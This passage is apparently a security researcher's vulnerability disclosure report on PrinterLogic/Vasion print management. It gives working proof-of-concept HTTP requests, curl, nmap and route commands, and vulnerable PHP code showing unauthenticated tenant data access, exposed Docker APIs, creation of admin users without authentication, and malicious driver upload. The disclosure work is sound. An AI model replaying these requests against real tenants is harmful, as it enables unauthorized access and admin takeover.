<p>An attacker can retrieve information for any SaaS customer by specifying a <code>siteID</code> (extracted from the <code>Host</code> HTTP header in the HTTP request). For example, for [redacted]:</p>
<p>HTTP request
<img alt="" src="images/2025-vasion-report-2-api-no-auth.png" /></p>
<p><a href="images/2025-vasion-report-2-api-no-auth-full.png">Click here for full image</a></p>
<p>PoC - the SiteID can be adapted to any target by modifying the Host header:</p>
<pre><code>POST /api-gateway/identity/search-groups HTTP/2
Host: [redacted-target-tenant].printercloud10.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/json
X-Requested-With: XMLHttpRequest
Content-Length: 44


{"sourceServiceType":"identity","name":""}
</code></pre>
<p>And the reply will provide information about the configured groups:</p>
<pre><code>HTTP/2 200 OK
Date: Fri, 22 Dec 2023 07:44:07 GMT 
Content-Type: application/json
Cache-Control: no-cache, private
Content-Security-Policy: frame-ancestors 'self'
Server: nginx
Strict-Transport-Security: max-age=31536000; includeSubDomains
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
X-Xss-Protection: 1; mode=block


[
  {
    "id": "[redacted]",
    "sourceServiceType": "azuread",
    "sourceService": "aaaaaaaa-aaaa-aaaa-aaaa-aaaaaaaaaaaa",
    "name": "[redacted]",
    "description": "",
    "email": "",
    "domain": "",
    "siteId": "[redacted]",
    "sourceId": "[redacted]",
    "distinguishedName": "",
    "createdAt": "2023-03-20 01:18:16",
    "updatedAt": "2023-03-20 01:18:16",
    "users": [],
    "tenantId": 9999,
    "detach_users": []
  },
  {
    "id": "[redacted]",
    "sourceServiceType": "azuread",
    "sourceService": "aaaaaaaa-aaaa-aaaa-aaaa-aaaaaaaaaaaa",
    "name": "[redacted]",
    "description": "",
    "email": "",
    "domain": "",
    "siteId": "[redacted]",
    "sourceId": "[redacted]",
    "distinguishedName": "",
    "createdAt": "2023-06-06 01:04:44",
    "updatedAt": "2023-06-06 01:04:44",
    "users": [],
    "tenantId": 9999,
    "detach_users": []
  },
  [...]
  {
    "id": "[redacted]",
    "sourceServiceType": "azuread",
    "sourceService": "aaaaaaaa-aaaa-aaaa-aaaa-aaaaaaaaaaaa",
    "name": "[redacted]",
    "description": "",
    "email": "",
    "domain": "",
    "siteId": "[redacted]",
    "sourceId": "[redacted]",
    "distinguishedName": "",
    "createdAt": "2023-03-20 01:18:17",
    "updatedAt": "2023-03-20 01:18:17",
    "users": [],
    "tenantId": 9999,
    "detach_users": []
  },
  [...]
</code></pre>
<p>The GET request also works:</p>
<pre><code>kali% curl https://[redacted].printercloud10.com/api-gateway/identity/search-groups
[{"id": "[redacted]","sourceServiceType": "azuread","sourceService": "aaaaaaaa-aaaa-aaaa-aaaa-aaaaaaaaaaaa","name": "[redacted]","description": "","email": "","domain": "","siteId": "[redacted]","sourceId": "[redacted]","distinguishedName": "","createdAt": "2023-03-20 01:18:16","updatedAt": "2023-03-20 01:18:16","users": [],"tenantId": 9999,"detach_users": []},id": "[redacted]","sourceServiceType": "azuread","sourceService": "aaaaaaaa-aaaa-aaaa-aaaa-aaaaaaaaaaaa","name": "[redacted]",
</code></pre>
<p>A threat actor can retrieve information for any siteID.</p>
<p><a id="va-firefox-plugin-over-http"></a></p>
<h2>Details - Installation of the Firefox plugin over HTTP</h2>
<p>It was observed that the installation of the Firefox plugin is done insecurely over HTTP:</p>
<p>https://printerlogic.com/browser-extension/
<img alt="" src="images/2025-vasion-report-2-firefix-http-02.png" /></p>
<p><a href="images/2025-vasion-report-2-firefix-http-02-full.png">Click here for full image</a></p>
<p>When analyzing the request, we can confirm that the XPI file is stored insecurely, over HTTP at <code>http://downloads.printerlogic.com/printerlogic_extension-1.0.5.10-an%2Bfx-windows.xpi</code>:</p>
<p>HTTP request
<img alt="" src="images/2025-vasion-report-2-firefix-http-01.png" /></p>
<p><a href="images/2025-vasion-report-2-firefix-http-01-full.png">Click here for full image</a></p>
<p>An attacker can MITM and inject malicious Firefox extensions.</p>
<p><a id="va-auth-bypass"></a></p>
<h2>Details - Authentication Bypass - Docker instances reachable without authentication</h2>
<p>It was observed that the Docker instances are freely reachable over the network due to insecure firewall rules. An attacker can directly interact with internal APIs and bypass any authentication mechanism.</p>
<p>Adding routes, 10.105.0.60 is the PrinterLogic instance:</p>
<pre><code>kali# route add -net 172.17.0.0/24 gw 10.105.0.60
kali# route add -net 172.17.130.0/24 gw 10.105.0.60
kali# route add -net 172.17.1.0/24 gw 10.105.0.60
</code></pre>
<p>Scanning IPs to detect Docker instances:</p>
<pre><code>kali$ sudo nmap -sT -v -n -p80 -oG printerlogic-va.grep 172.17.0.0/23
[...]
Nmap scan report for 172.17.0.185
Host is up (0.0020s latency).

PORT   STATE SERVICE
80/tcp open  http

Nmap scan report for 172.17.0.186
Host is up (0.0013s latency).

PORT   STATE  SERVICE
80/tcp closed http

Nmap scan report for 172.17.1.1
Host is up (0.00081s latency).

PORT   STATE SERVICE
80/tcp open  http

Nmap scan report for 172.17.1.129
Host is up (0.00087s latency).

PORT   STATE SERVICE
80/tcp open  http

Read data files from: /usr/bin/../share/nmap
Nmap done: 512 IP addresses (62 hosts up) scanned in 6.63 seconds
           Raw packets sent: 3666 (138.648KB) | Rcvd: 89073 (21.482MB)

kali% grep open printerlogic-va.grep
Host: 172.17.0.1 ()     Ports: 80/open/tcp//http///
Host: 172.17.0.129 ()   Ports: 80/open/tcp//http///
Host: 172.17.0.130 ()   Ports: 80/open/tcp//http///
Host: 172.17.0.135 ()   Ports: 80/open/tcp//http///
Host: 172.17.0.137 ()   Ports: 80/open/tcp//http///
Host: 172.17.0.138 ()   Ports: 80/open/tcp//http///
Host: 172.17.0.139 ()   Ports: 80/open/tcp//http///
Host: 172.17.0.140 ()   Ports: 80/open/tcp//http///
Host: 172.17.0.141 ()   Ports: 80/open/tcp//http///
Host: 172.17.0.142 ()   Ports: 80/open/tcp//http///
Host: 172.17.0.144 ()   Ports: 80/open/tcp//http///
Host: 172.17.0.145 ()   Ports: 80/open/tcp//http///
Host: 172.17.0.146 ()   Ports: 80/open/tcp//http///
Host: 172.17.0.147 ()   Ports: 80/open/tcp//http///
Host: 172.17.0.149 ()   Ports: 80/open/tcp//http///
Host: 172.17.0.150 ()   Ports: 80/open/tcp//http///
Host: 172.17.0.151 ()   Ports: 80/open/tcp//http///
Host: 172.17.0.152 ()   Ports: 80/open/tcp//http///
Host: 172.17.0.153 ()   Ports: 80/open/tcp//http///
Host: 172.17.0.155 ()   Ports: 80/open/tcp//http///
Host: 172.17.0.157 ()   Ports: 80/open/tcp//http///
Host: 172.17.0.158 ()   Ports: 80/open/tcp//http///
Host: 172.17.0.159 ()   Ports: 80/open/tcp//http///
Host: 172.17.0.160 ()   Ports: 80/open/tcp//http///
Host: 172.17.0.161 ()   Ports: 80/open/tcp//http///
Host: 172.17.0.163 ()   Ports: 80/open/tcp//http///
Host: 172.17.0.164 ()   Ports: 80/open/tcp//http///
Host: 172.17.0.165 ()   Ports: 80/open/tcp//http///
Host: 172.17.0.166 ()   Ports: 80/open/tcp//http///
Host: 172.17.0.167 ()   Ports: 80/open/tcp//http///
Host: 172.17.0.170 ()   Ports: 80/open/tcp//http///
Host: 172.17.0.172 ()   Ports: 80/open/tcp//http///
Host: 172.17.0.173 ()   Ports: 80/open/tcp//http///
Host: 172.17.0.175 ()   Ports: 80/open/tcp//http///
Host: 172.17.0.176 ()   Ports: 80/open/tcp//http///
Host: 172.17.0.177 ()   Ports: 80/open/tcp//http///
Host: 172.17.0.178 ()   Ports: 80/open/tcp//http///
Host: 172.17.0.180 ()   Ports: 80/open/tcp//http///
Host: 172.17.0.181 ()   Ports: 80/open/tcp//http///
Host: 172.17.0.182 ()   Ports: 80/open/tcp//http///
Host: 172.17.0.184 ()   Ports: 80/open/tcp//http///
Host: 172.17.0.185 ()   Ports: 80/open/tcp//http///
Host: 172.17.1.1 ()     Ports: 80/open/tcp//http///
Host: 172.17.1.129 ()   Ports: 80/open/tcp//http///
</code></pre>
<p>It is then possible to interact with instances without authentication.</p>
<p>Interacting with the scim Docker instance:</p>
<pre><code>kali% curl -kv http://172.17.0.158/ -H "X-Site-ID: "
*   Trying 172.17.0.158:80...
* Connected to 172.17.0.158 (172.17.0.158) port 80
&gt; GET / HTTP/1.1
&gt; Host: 172.17.0.158
&gt; User-Agent: curl/8.4.0
&gt; Accept: */*
&gt; 
&lt; HTTP/1.1 200 OK
&lt; Server: nginx
&lt; Content-Type: text/html; charset=UTF-8
&lt; Transfer-Encoding: chunked
&lt; Connection: keep-alive
&lt; Cache-Control: no-cache, private
&lt; Date: Fri, 22 Dec 2023 08:19:40 GMT
&lt; Set-Cookie: XSRF-TOKEN=eyJpdiI6InVMSlNlNkk3aTRaQ1FwaCsrd0wrREE9PSIsInZhbHVlIjoiWFZmZFc0cTR6QVNqYVVSUldmSnEwdVhpdFNkK05KRGxGdUdSTThEdURDelp0alwvdXA1U2pIVFwvNkwxcXlyUUoxIiwibWFjIjoiZDU0MzQ5ZDJlZDQxNWRjMTdlM2FmNjQxMjAwNGE1Y2E1NDIyMzU3MTQ1M2U3OTA1MmY4ZWIxZDQ3YTkzNWE0NCJ9; expires=Fri, 22-Dec-2023 10:19:40 GMT; Max-Age=7200; path=/
&lt; 
* Connection #0 to host 172.17.0.158 left intact
scim
</code></pre>
<p>Regarding the SaaS version, the vulnerability depends on the implementation inside the AWS infrastructure. Due to the lack of defense in depth, there is no reason to believe the SaaS version is not vulnerable.</p>
<p>An attacker can bypass authentication and interact with internal APIs.  </p>
<p>The entire authentication mechanism is bypassed as APIs are exposed without authentication.</p>
<p>One of the authentication mechanisms is based on the <code>X-Site-ID</code> HTTP header, corresponding to the installation ID - this can be bypassed by adding HTTP headers.</p>
<p>It is recommended to review the design of the solution.</p>
<p><a id="va-add-partial-admin-without-auth"></a></p>
<h2>Details - Addition of partial-admin users without authentication</h2>
<p>It was observed that an attacker can remotely add users without authentication on PrinterLogic. Then the user can log into the admin interface and receive an admin cookie.</p>
<p>An attacker can send a HTTP request to <code>/admin/identity-idp-search</code> without session cookies. The attacker receives 2 cookies (<code>XSRF-TOKEN</code>, <code>laravel_session</code>) and 1 CSRF token in the JSON body:</p>
<p>HTTP request to <code>/admin/identity-idp-search</code> without authentication:
<img alt="" src="images/2025-vasion-report-2-add-admin-user-01.png" /></p>
<p><a href="images/2025-vasion-report-2-add-admin-user-01-full.png">Click here for full image</a></p>
<p>Then the attacker sends a HTTP request to <code>/admin/idp-add-user</code> using the received <code>laravel_session</code> cookie in the HTTP header [1] and the received <code>_token</code> variable in the JSON payload [2]. We will add the <code>p[redacted]@[redacted]</code> account:</p>
<p>HTTP request to <code>/admin/idp-add-user</code>:
<img alt="" src="images/2025-vasion-report-2-add-admin-user-02.png" /></p>
<p><a href="images/2025-vasion-report-2-add-admin-user-02-full.png">Click here for full image</a></p>
<p>And the user has been correctly created without authentication to the [redacted].printercloud10.com instance:</p>
<p>Listing of users
<img alt="" src="images/2025-vasion-report-2-add-admin-user-03.png" /></p>
<p><a href="images/2025-vasion-report-2-add-admin-user-03-full.png">Click here for full image</a></p>
<p>Content of the HTTP request allowing creating any user.</p>
<p>HTTP request creating the <code>p[redacted]@[redacted]</code> user:</p>
<pre><code>POST /admin/idp-add-user HTTP/2
Host: [redacted].printercloud10.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/json
X-Requested-With: XMLHttpRequest
Content-Length: 2347
Origin: https://[redacted].printercloud10.com
Referer: https://[redacted].printercloud10.com/admin/
Cookie: laravel_session=[redacted]
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin

{"_token":"hHfNlq9PkW2wKjU0S8yRrn2nvr8taEJiJ92giaJb","recordData":[{"id":"93a[redacted-custom-uuid]","firstName":"Pierre","lastName":"[redacted]","displayName":"","username":"p[redacted]","email":"p[redacted]","domain":"","siteId":"[target-instance-redacted]","distinguishedName":"","sourceId":"[redacted-obtained-from-public-apis]","sourceService":"[redacted-obtained-from-public-apis]","sourceServiceType":"custom","usnChange":"","groups":[],"userAttributes":[{"id":[redacted-obtained-from-public-apis],"user_id":"93a[redacted-custom-uuid]","attribute":"department","value":"[redacted-obtained-from-public-apis]","idp_id":"[redacted-obtained-from-public-apis]","tenant_id":[redacted-obtained-from-public-apis],"deletedAt":{"Time":"0001-01-01T00:00:00Z","Valid":false},"createdAt":"2023-10-18 06:41:41.000000","updatedAt":"2023-10-18 06:41:41.000000"},{"id":[redacted-obtained-from-public-apis],"user_id":"93a[redacted-custom-uuid]","attribute":"external-id","value":"[redacted-obtained-from-public-apis]","idp_id":"[redacted-obtained-from-public-apis]","tenant_id":9999,"deletedAt":{"Time":"0001-01-01T00:00:00Z","Valid":false},"createdAt":"2023-10-18 06:41:41.000000","updatedAt":"2023-10-18 06:41:41.000000"},{"id":[redacted-obtained-from-public-apis],"user_id":"93a[redacted-custom-uuid]","attribute":"active","value":true,"idp_id":"[redacted-obtained-from-public-apis]","tenant_id":9999,"deletedAt":{"Time":"0001-01-01T00:00:00Z","Valid":false},"createdAt":"2023-10-18 06:41:41.000000","updatedAt":"2023-10-18 06:41:41.000000"},{"id":[redacted-obtained-from-public-apis],"user_id":"93a[redacted-custom-uuid]","attribute":"identity-linking","value":"[redacted-custom-email]","idp_id":"[redacted-obtained-from-public-apis]","tenant_id":9999,"deletedAt":{"Time":"0001-01-01T00:00:00Z","Valid":false},"createdAt":"2023-10-18 06:41:41.000000","updatedAt":"2023-10-18 06:41:41.000000"},{"id":[redacted-obtained-from-public-apis],"user_id":"93a[redacted-custom-uuid]","attribute":"manager","value":"{\"value\":\"[redacted-obtained-from-public-apis]\",\"displayName\":\"\"}","idp_id":"[redacted-obtained-from-public-apis]","tenant_id":9999,"deletedAt":{"Time":"0001-01-01T00:00:00Z","Valid":false},"createdAt":"2023-10-18 06:41:45.000000","updatedAt":"2023-10-18 06:41:45.000000"}],"tenantId":9999,"createdAt":"2023-10-18 06:41:41.000000","updatedAt":"2023-10-18 06:41:41.000000","pinNumbers":[],"selected":true,"idpName":"SSO"}],"nodeId":"2","objType":"user"}
</code></pre>
<p>This working request was built based on the output of the <code>/api-gateway/identify/search-users</code> API. This API can list all the users with all the needed fields (id, firstname, lastname, displayname, username, email, domain, siteId, sourceId, sourceService, userAttributes [groups], ...):</p>
<p>Output of the <code>/api-gateway/identify/search-users</code> API:</p>
<p><img alt="" src="images/2025-vasion-report-2-add-admin-user-05.png" /></p>
<p>The vulnerable code is located in the <code>/var/www/app/app/Http/Controllers/IdpSearchController.php</code> file inside the <code>printercloud/pi</code> Docker instance. No authentication is required.</p>
<p>Content of <code>/var/www/app/app/Http/Controllers/IdpSearchController.php</code> inside the <code>printercloud/pi</code> Docker instance:</p>
<div class="colorful" style="background: #f8f8f8"><pre style="line-height: 125%"><span></span>  1 <span style="color: #BC7A00">&lt;?php</span>
[<span style="color: #666666">...</span>]
<span style="color: #666666">284</span>     <span style="color: #008000; font-weight: bold">public</span> <span style="color: #008000; font-weight: bold">function</span> <span style="color: #0000FF">addUser</span>(Request <span style="color: #19177C">$request</span>)
<span style="color: #666666">285</span>     {
<span style="color: #666666">286</span>         <span style="color: #19177C">$usersOrGroups</span> <span style="color: #666666">=</span> <span style="color: #19177C">$request</span><span style="color: #666666">-&gt;</span><span style="color: #7D9029">input</span>(self<span style="color: #666666">::</span><span style="color: #7D9029">DATA_NAME_REQUEST_PARAM</span>);
<span style="color: #666666">287</span>         <span style="color: #19177C">$objType</span> <span style="color: #666666">=</span> <span style="color: #19177C">$request</span><span style="color: #666666">-&gt;</span><span style="color: #7D9029">input</span>(self<span style="color: #666666">::</span><span style="color: #7D9029">OBJ_TYPE_REQUEST_PARAM</span>);
<span style="color: #666666">288</span>     
<span style="color: #666666">289</span>         <span style="color: #19177C">$response</span> <span style="color: #666666">=</span> <span style="color: #008000; font-weight: bold">new</span> Collection();
<span style="color: #666666">290</span>         <span style="color: #008000; font-weight: bold">try</span> {
<span style="color: #666666">291</span>             <span style="color: #008000; font-weight: bold">if</span> (<span style="color: #008000">is_null</span>(<span style="color: #19177C">$usersOrGroups</span>)) {
<span style="color: #666666">292</span>                 <span style="color: #008000; font-weight: bold">throw</span> <span style="color: #008000; font-weight: bold">new</span> NoRecordsException();
<span style="color: #666666">293</span>             }
<span style="color: #666666">294</span>             <span style="color: #008000; font-weight: bold">if</span> (<span style="color: #008000">is_null</span>(<span style="color: #19177C">$objType</span>)) {
<span style="color: #666666">295</span>                 <span style="color: #008000; font-weight: bold">throw</span> <span style="color: #008000; font-weight: bold">new</span> InvalidObjectTypeException();
<span style="color: #666666">296</span>             }       
<span style="color: #666666">297</span>             <span style="color: #008000; font-weight: bold">foreach</span> (<span style="color: #19177C">$usersOrGroups</span> <span style="color: #008000; font-weight: bold">as</span> <span style="color: #19177C">$obj</span>) {
<span style="color: #666666">298</span>                 <span style="color: #19177C">$umo</span> <span style="color: #666666">=</span> UsersMicroserviceObject<span style="color: #666666">::</span><span style="color: #7D9029">firstOrCreate</span>([
<span style="color: #666666">299</span>                     <span style="color: #BA2121">&#39;unique_identifier&#39;</span> <span style="color: #666666">=&gt;</span> <span style="color: #19177C">$obj</span>[<span style="color: #BA2121">&#39;id&#39;</span>],
<span style="color: #666666">300</span>                     <span style="color: #BA2121">&#39;object_type&#39;</span> <span style="color: #666666">=&gt;</span> self<span style="color: #666666">::</span><span style="color: #7D9029">getIntObjType</span>(<span style="color: #19177C">$objType</span>),
<span style="color: #666666">301</span>                 ]);
<span style="color: #666666">302</span>                 <span style="color: #19177C">$user</span> <span style="color: #666666">=</span> User<span style="color: #666666">::</span><span style="color: #7D9029">firstOrCreate</span>(
<span style="color: #666666">303</span>                     [
<span style="color: #666666">304</span>                         <span style="color: #BA2121">&#39;umo_id&#39;</span> <span style="color: #666666">=&gt;</span> <span style="color: #19177C">$umo</span><span style="color: #666666">-&gt;</span><span style="color: #7D9029">id</span>,
<span style="color: #666666">305</span>                     ],
<span style="color: #666666">306</span>                     [
<span style="color: #666666">307</span>                         <span style="color: #BA2121">&#39;username&#39;</span> <span style="color: #666666">=&gt;</span> self<span style="color: #666666">::</span><span style="color: #7D9029">getIntObjType</span>(<span style="color: #19177C">$objType</span>) <span style="color: #666666">==</span> self<span style="color: #666666">::</span><span style="color: #7D9029">USER_OBJECT_TYPE</span> <span style="color: #666666">?</span>
<span style="color: #666666">308</span>                             <span style="color: #19177C">$obj</span>[<span style="color: #BA2121">&#39;username&#39;</span>] <span style="color: #666666">:</span> <span style="color: #19177C">$obj</span>[<span style="color: #BA2121">&#39;name&#39;</span>],
<span style="color: #666666">309</span>                         <span style="color: #BA2121">&#39;email_address&#39;</span> <span style="color: #666666">=&gt;</span> <span style="color: #BA2121">&#39;!@#umo_&#39;</span> <span style="color: #666666">.</span> <span style="color: #19177C">$umo</span><span style="color: #666666">-&gt;</span><span style="color: #7D9029">id</span>,
<span style="color: #666666">310</span>                         <span style="color: #BA2121">&#39;user_status&#39;</span> <span style="color: #666666">=&gt;</span> <span style="color: #BA2121">&#39;Active&#39;</span>,
<span style="color: #666666">311</span>                         <span style="color: #BA2121">&#39;my_password&#39;</span> <span style="color: #666666">=&gt;</span> <span style="color: #BA2121">&#39;-&#39;</span>,
<span style="color: #666666">312</span>                         <span style="color: #BA2121">&#39;first_name&#39;</span> <span style="color: #666666">=&gt;</span> <span style="color: #BA2121">&#39;-&#39;</span>,
<span style="color: #666666">313</span>                         <span style="color: #BA2121">&#39;last_name&#39;</span> <span style="color: #666666">=&gt;</span> <span style="color: #BA2121">&#39;-&#39;</span>,
<span style="color: #666666">314</span>                         <span style="color: #BA2121">&#39;user_type&#39;</span> <span style="color: #666666">=&gt;</span> <span style="color: #666666">3</span>,
<span style="color: #666666">315</span>                         <span style="color: #BA2121">&#39;account_id&#39;</span> <span style="color: #666666">=&gt;</span> <span style="color: #666666">1</span>,
<span style="color: #666666">316</span>                     ]
<span style="color: #666666">317</span>                 );
<span style="color: #666666">318</span>                 <span style="color: #19177C">$response</span><span style="color: #666666">-&gt;</span><span style="color: #7D9029">push</span>(<span style="color: #19177C">$user</span><span style="color: #666666">-&gt;</span><span style="color: #7D9029">id</span>);
<span style="color: #666666">319</span>             }
<span style="color: #666666">320</span>         } <span style="color: #008000; font-weight: bold">catch</span> (NoRecordsException <span style="color: #19177C">$e</span>) {
<span style="color: #666666">321</span>             <span style="color: #008000; font-weight: bold">return</span> <span style="color: #19177C">$this</span><span style="color: #666666">-&gt;</span><span style="color: #7D9029">errorResponse</span>(<span style="color: #19177C">$e</span><span style="color: #666666">-&gt;</span><span style="color: #7D9029">getMessage</span>(), <span style="color: #BA2121">&#39;INVALID-RECORDS&#39;</span>, HttpResponse<span style="color: #666666">::</span><span style="color: #7D9029">HTTP_BAD_REQUEST</span>);
<span style="color: #666666">322</span>         } <span style="color: #008000; font-weight: bold">catch</span> (InvalidObjectTypeException <span style="color: #19177C">$e</span>) {
<span style="color: #666666">323</span>             <span style="color: #008000; font-weight: bold">return</span> <span style="color: #19177C">$this</span><span style="color: #666666">-&gt;</span><span style="color: #7D9029">errorResponse</span>(<span style="color: #19177C">$e</span><span style="color: #666666">-&gt;</span><span style="color: #7D9029">getMessage</span>(), <span style="color: #BA2121">&#39;INVALID-OBJECT-TYPE&#39;</span>, HttpResponse<span style="color: #666666">::</span><span style="color: #7D9029">HTTP_BAD_REQUEST</span>);
<span style="color: #666666">324</span>         } <span style="color: #008000; font-weight: bold">catch</span> (Exception <span style="color: #19177C">$e</span>) {
<span style="color: #666666">325</span>             <span style="color: #008000; font-weight: bold">return</span> <span style="color: #19177C">$this</span><span style="color: #666666">-&gt;</span><span style="color: #7D9029">errorResponse</span>(<span style="color: #19177C">$e</span><span style="color: #666666">-&gt;</span><span style="color: #7D9029">getMessage</span>(), <span style="color: #008000; font-weight: bold">null</span>, <span style="color: #19177C">$e</span><span style="color: #666666">-&gt;</span><span style="color: #7D9029">getCode</span>());
<span style="color: #666666">326</span>         }
<span style="color: #666666">327</span>     
<span style="color: #666666">328</span>         <span style="color: #008000; font-weight: bold">return</span> response(<span style="color: #19177C">$response</span>, HttpResponse<span style="color: #666666">::</span><span style="color: #7D9029">HTTP_CREATED</span>);                                                                                                                                 
<span style="color: #666666">329</span>     }
</pre></div>

<p>This vulnerability has also been confirmed in the test SaaS version - the new user can log into the <code>/admin/</code> interface, and the session cookie has admin privileges even if the interface seems to be empty.</p>
<p>Login as p[redacted]@[redacted] inside the <code>/admin/</code> section
<img alt="" src="images/2025-vasion-report-2-add-admin-user-04.png" /></p>
<p><a href="images/2025-vasion-report-2-add-admin-user-04-full.png">Click here for full image</a></p>
<p>It is then possible to interact with APIs with admin privileges:</p>
<ul>
<li>Upload of new drivers</li>
<li>/api-gateway/certs/regenerateCA</li>
<li>/api-gateway/printers/mfg</li>
<li>/api-gateway/br/devices</li>
<li>[...]</li>
</ul>
<p>For example, we can upload drivers using the Linux client by creating a file named <code>1-1</code> inside the <code>/opt/PrinterInstallerClient/tmp/requests</code> directory containing these values.</p>
<p>Communicating with the Linux client to upload drivers:</p>
<pre><code>kali% cat test.file-upload
UPLOAD_DRIVER                                    # upload command
aHR0cHM6                                         # https
W3JlZGFjdGVkXS5wcmludGVyY2xvdWQxMC5jb20=         # [redacted].printercloud10.com
Lw==                                             # /
UEhQU0VTU0lEPTlscjEyYWFhYWJkNDcxMjhhZGIyODM0MDEy # PHPSESSID=9lr12aaaabd47128adb2834012
cHJpbnRlcg==                                     # printer
cDk3Mg==                                         # p972

LTE=                                             # -1
kali% cp test.file-upload /opt/PrinterInstallerClient/tmp/requests/1-1
</code></pre>
<p>The file contains the PHPSESSID cookie obtained previously when the newly created user logs in /admin/:</p>
<pre><code>kali% echo UEhQU0VTU0lEPTlscjEyYWFhYWJkNDcxMjhhZGIyODM0MDEy | base64 -d
PHPSESSID=9lr12aaaabd47128adb2834012
</code></pre>
<p>The Linux client will automatically create a popup asking to provide files for a printer driver:</p>
<p>Linux client</p>
<p><img alt="" src="images/2025-vasion-report-2-add-driver-01.png" /></p>
<p>Upload of drivers</p>
<p><img alt="" src="images/2025-vasion-report-2-add-driver-02.png" /></p>
<p>And when we visit the admin webpage, we can confirm that malicious drivers have been successfully uploaded:</p>
<p>Malicious drivers successfully uploaded in the admin interface</p>
<p><img alt="" src="images/2025-vasion-report-2-add-driver-03.png" /></p>
<p>An attacker can get admin privileges without authentication.</p>
<p>An attacker can get admin privileges and upload malicious drivers.</p>
<p><a id="va-insecure-apis-01"></a></p>
<h2>Details - Unauthenticated admin APIs allowing to configure the IdP (SSO) authentication mechanism</h2>
<p>It was observed that some admin APIs are reachable without authentication, including critical APIs allowing changing the IdP authentication mechanism (/admin/idp-deployments):</p>
<ul>
<li>/admin/authorized-devices</li>
<li>/admin/identity-management</li>
<li>/admin/user-management</li>
<li>/admin/idp-search</li>
<li>/admin/identity-idp-search</li>
<li>/admin/identity-add-user</li>
<li>/admin/idp-add-user</li>
<li>/admin/idp-deployments</li>
<li>/admin/idp-portal-securities</li>
<li>/admin/settings/logo</li>
</ul>
<p>These routes are defined in the <code>/var/www/app/routes/web.php</code> file located inside the <code>printercloud/pi</code> Docker instance.</p>
<p>Content of <code>/var/www/app/routes/web.php</code> inside the <code>printercloud/pi</code> Docker instance:</p>
<div class="colorful" style="background: #f8f8f8"><pre style="line-height: 125%"><span></span>  1 <span style="color: #BC7A00">&lt;?php</span>
[<span style="color: #666666">...</span>]
<span style="color: #666666">185</span>     Route<span style="color: #666666">::</span><span style="color: #7D9029">get</span>(<span style="color: #BA2121">&#39;authorized-devices&#39;</span>, [
<span style="color: #666666">186</span>         <span style="color: #BA2121">&#39;middleware&#39;</span> <span style="color: #666666">=&gt;</span> [<span style="color: #BA2121">&#39;web&#39;</span>],
<span style="color: #666666">187</span>         <span style="color: #BA2121">&#39;as&#39;</span> <span style="color: #666666">=&gt;</span> <span style="color: #BA2121">&#39;authorizedDevides.view&#39;</span>,
<span style="color: #666666">188</span>         <span style="color: #BA2121">&#39;uses&#39;</span> <span style="color: #666666">=&gt;</span> <span style="color: #BA2121">&#39;AuthorizedDeviceController@view&#39;</span>,
<span style="color: #666666">189</span>     ]); 
<span style="color: #666666">190</span>     
<span style="color: #666666">191</span>     Route<span style="color: #666666">::</span><span style="color: #7D9029">get</span>(<span style="color: #BA2121">&#39;identity-management&#39;</span>, [
<span style="color: #666666">192</span>         <span style="color: #BA2121">&#39;middleware&#39;</span> <span style="color: #666666">=&gt;</span> [<span style="color: #BA2121">&#39;web&#39;</span>],
<span style="color: #666666">193</span>         <span style="color: #BA2121">&#39;as&#39;</span> <span style="color: #666666">=&gt;</span> <span style="color: #BA2121">&#39;identityManagement.view&#39;</span>,
<span style="color: #666666">194</span>         <span style="color: #BA2121">&#39;uses&#39;</span> <span style="color: #666666">=&gt;</span> <span style="color: #BA2121">&#39;IdentityManagementController@view&#39;</span>,
<span style="color: #666666">195</span>     ]);
<span style="color: #666666">196</span> 
<span style="color: #666666">197</span>     Route<span style="color: #666666">::</span><span style="color: #7D9029">get</span>(<span style="color: #BA2121">&#39;user-management&#39;</span>, [
<span style="color: #666666">198</span>         <span style="color: #BA2121">&#39;middleware&#39;</span> <span style="color: #666666">=&gt;</span> [<span style="color: #BA2121">&#39;web&#39;</span>],
<span style="color: #666666">199</span>         <span style="color: #BA2121">&#39;as&#39;</span> <span style="color: #666666">=&gt;</span> <span style="color: #BA2121">&#39;userManagement.view&#39;</span>,
<span style="color: #666666">200</span>         <span style="color: #BA2121">&#39;uses&#39;</span> <span style="color: #666666">=&gt;</span> <span style="color: #BA2121">&#39;UserManagementController@view&#39;</span>,
<span style="color: #666666">201</span>     ]);
[<span style="color: #666666">...</span>]
</pre></div>

<p>For example, the /admin/idp-deployments API is implemented inside the <code>/var/www/app/Http/Controllers/IdpSearchController.php</code> file.</p>
<p>There is no authentication, and the attacker-controlled values are directly used to define the IdP deployment:</p>
<p>Content of <code>/var/www/app/Http/Controllers/IdpSearchController.php</code> inside the <code>printercloud/pi</code> Docker instance:</p>
<div class="colorful" style="background: #f8f8f8"><pre style="line-height: 125%"><span></span>  1 <span style="color: #BC7A00">&lt;?php</span>
[<span style="color: #666666">...</span>]
<span style="color: #666666">174</span>     <span style="color: #008000; font-weight: bold">public</span> <span style="color: #008000; font-weight: bold">function</span> <span style="color: #0000FF">setDeploymentDetails</span>(Request <span style="color: #19177C">$request</span>)
<span style="color: #666666">175</span>     {
<span style="color: #666666">176</span>         <span style="color: #19177C">$usersOrGroups</span> <span style="color: #666666">=</span> <span style="color: #19177C">$request</span><span style="color: #666666">-&gt;</span><span style="color: #7D9029">input</span>(self<span style="color: #666666">::</span><span style="color: #7D9029">DATA_NAME_REQUEST_PARAM</span>);
<span style="color: #666666">177</span>         <span style="color: #19177C">$nodeId</span> <span style="color: #666666">=</span> <span style="color: #19177C">$request</span><span style="color: #666666">-&gt;</span><span style="color: #7D9029">input</span>(self<span style="color: #666666">::</span><span style="color: #7D9029">NODE_ID_REQUEST_PARAM</span>);
<span style="color: #666666">178</span>         <span style="color: #19177C">$objType</span> <span style="color: #666666">=</span> <span style="color: #19177C">$request</span><span style="color: #666666">-&gt;</span><span style="color: #7D9029">input</span>(self<span style="color: #666666">::</span><span style="color: #7D9029">OBJ_TYPE_REQUEST_PARAM</span>);
